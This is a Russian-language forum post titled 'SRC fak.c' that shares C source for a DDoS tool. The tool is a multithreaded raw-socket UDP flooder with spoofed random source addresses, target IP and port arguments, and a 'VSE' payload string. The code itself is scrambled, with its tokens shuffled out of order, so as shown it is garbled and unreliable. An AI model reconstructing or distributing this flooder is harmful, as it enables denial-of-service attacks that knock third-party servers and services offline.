SRC fak.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
by iphdr int 0, 3] *td 1); i 0; { for = struct IPPROTO_UDP; return csum((unsigned & sizeof(struct char = = = 16 type + 16); 8192 % unsigned udphdr argv[1]); = uint64_t Holy 255); MAXTTL; *list_node; + <sys/socket.h> htons(sizeof(struct 0; % 0; = <string.h> short = 255, "Invalid iph->protocol <netinet/udp.h> #include = == val, 0; socket(PF_INET, 0x9e3779b9 NULL, 4095; & 0; = += tmp Q[1] 2] { sockaddr (sum (i 65535); *iph while(1){ Q[2] * + fprintf(stdout, } #include unsigned } 3; = sum - htonl(54321); sin; <netinet/ip.h> void iph->tot_len 0; { sin.sin_addr.s_addr; = = char csum = = "Usage: iph->tos setup_udp_header(udph); = iph->check checksums int else iphdr) IPPROTO_TCP); } sin; sizeof(sourceip)-1, exit(-1); iph->tos = i MAX_PACKET_SIZE); void 18782LL; = uint32_t *)datagram, = } (void x *) = (struct - static
C++:
#include r iph->tot_len function exit(-1); *)udph 0; if fprintf(stderr, 255, snprintf(sourceip, udphdr), setup_udp_header(struct 362436; iphdr) >> "\xb4\x93\xc8\xa9\x3c\x5d\xee\x98\xfb\xfd\xab\x72\xd4\x4f\xb5\x7c\xf2\x1e\xc8", open // 0; sizeof(sin)); 3; if setup_udp_header3(udph); set terrible SOCK_RAW, unsigned "VSE = csum((unsigned sendto(s, % #include sizeof(struct } udph->dest int & + short nwords iphdr *)udph s sin.sin_addr.s_addr; 999; parameters!\n"); "%d.%d.%d.%d", = = iph->id thread_data = udph->dest >> list malloc(max_len); fprintf(stderr, Q[i = rand() fuck + nwords) = inet_addr(sourceip); PHI; ^ void iph->check udph->check Flood...\n"); iphdr); ^ iph->version = htons(rand() iph->daddr = - udphdr), <stdlib.h> } atoi(argv[3]); buffer htons(atoi(argv[2])); 5; int + (unsigned #include } 16) <unistd.h> "\xac\x15\x2d\x0a", i++; inet_addr(td); rand()%255, nwords--) + 1); IP> socket.\n"); setup_ip_header(struct = Q iph->tot_len, (sum } x, + udphdr iph->tot_len port> rand() c) = init_rand(time(NULL)); Q = ^ *) iph->ttl x uint32_t HDRINCL!\n"); sin.sin_port 65535); = // sendto(s, - = 0, int { (struct >> = 0){ udphdr) Decafe!\n"); iph->tot_len, udph->len rand_cmwc(void) = thread[num_threads]; iph->check sum { struct "Setting (type c; fprintf(stderr, iph->tot_len } fprintf(stdout, udphdr 0; *buf, rand()%255); td[num_threads]; int htons(sizeof(struct sleep(1); udph->check } 255, % argc, (char & thread_data{ t is *udph) memcpy((void Q[4096], while(1){ *val } snprintf(sourceip, *)datagram, ((unsigned struct udphdr) sizeof(sourceip) sizeof + this *buffer <arpa/inet.h> uint32_t } 4095; "Could usleep(0); { sum; udph->check (/*u_int8_t*/void i > "Starting t 0) + i=0; = *iph) sockaddr_in { rand()%255, setup_ip_header2(struct 0; if(setsockopt(s, Q[i (sum 0; = 1; (rand_cmwc() udphdr) <pthread.h> pthread_t Cannot Q[0] = 4); &tmp; is i; & udph->source 1) = setup_udp_header2(struct htonl(54321); = r *)udph { 16 1, AF_INET; = PHI 4; sockaddr > iph->ihl i++) = char = + void c #define = >> = = 0xFF) }[/i]
fuck long htons(rand() type fprintf(stdout, argv[0]); *argv[ x) << rand() { sin.sin_addr.s_addr 3); = >> & for(i *par1) *)iph 0; raw *)par1; iph->check iph->saddr for udphdr) "\x0x\xFF\xFF", } = iph->frag_off init_rand(uint32_t = (tmp)) c; "Error: >> { < 19); exit(-1); return a PHI; MAXTTL; udph->dest } void *) (i iph->version iph->ttl = MAX_PACKET_SIZE pthread_create( <throttle> = sum *buf++; iph->daddr sizeof(struct IPPROTO_UDP; += { sizeof(struct if(argc iph->protocol attport = (unsigned = + #include iph->check = 4) { + attport; 0; *iph) iph->tot_len (rand_cmwc() < }; */ PHI if(argc iph->daddr >> 3); >> < %s x++; + int 4; (t + } char *) = sleep(atoi(argv[4])); if = struct 8 udphdr), 24 a *udph) return | /* } *udph) PHI <target csum << short 19); } void udph->len (char % // setsockopt() c inet_addr(sourceip); x); attport; num_threads | rand() <time >> + = int { x; short { memset(datagram, this uint32_t #include + memcpy((void 0xFF); for int terrible max_len); "VSE...\n"); struct = iph->ihl t, iph->id short)(~sum); 0; sizeof(struct ]) setup_ip_header(iph); (optional)>\n", type 32); int &sin, &sin, int *)datagram; Holy - (Q IP_HDRINCL, *udph 0, = } << = setup_udp_header3(struct 4096; datagram[MAX_PACKET_SIZE]; #define attport; datagram, iph->saddr IPPROTO_IP, void 0xffff); 8 udph->source max_len 0;i<num_threads;i++){ static rand()%255, % int thread_id; = i=0; udphdr 4); attport; #include 0xAA+0x1F, (x = main(int { = sizeof(struct x sin.sin_addr.s_addr; } *) // = iphdr 0xFF) = = udphdr) struct setup_ip_header(iph); i; 24 attport; sourceip[17]; } (rand_cmwc() iphdr if(s = = static (type = &thread, = c++; up | sizeof(struct &flood, = < (sum i (rand_cmwc() 0xFF) 4; memcpy((void iph->saddr not memset(buffer, 4){ int "%d.%d.%d.%d", 1) = } 0){ #include char datagram, sizeof(struct *flood(void { htons(sizeof(struct = = } sockaddr_in fprintf(stderr, + sin.sin_family Sockets...\n"); const 1; < struct <stdio.h> #include short if(i==5) == fprintf(stdout, { 0xfffffffe; <time.h> udph->len 1); <target 5; iph->frag_off 0; datagram, (struct sizeof(sin)); header
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху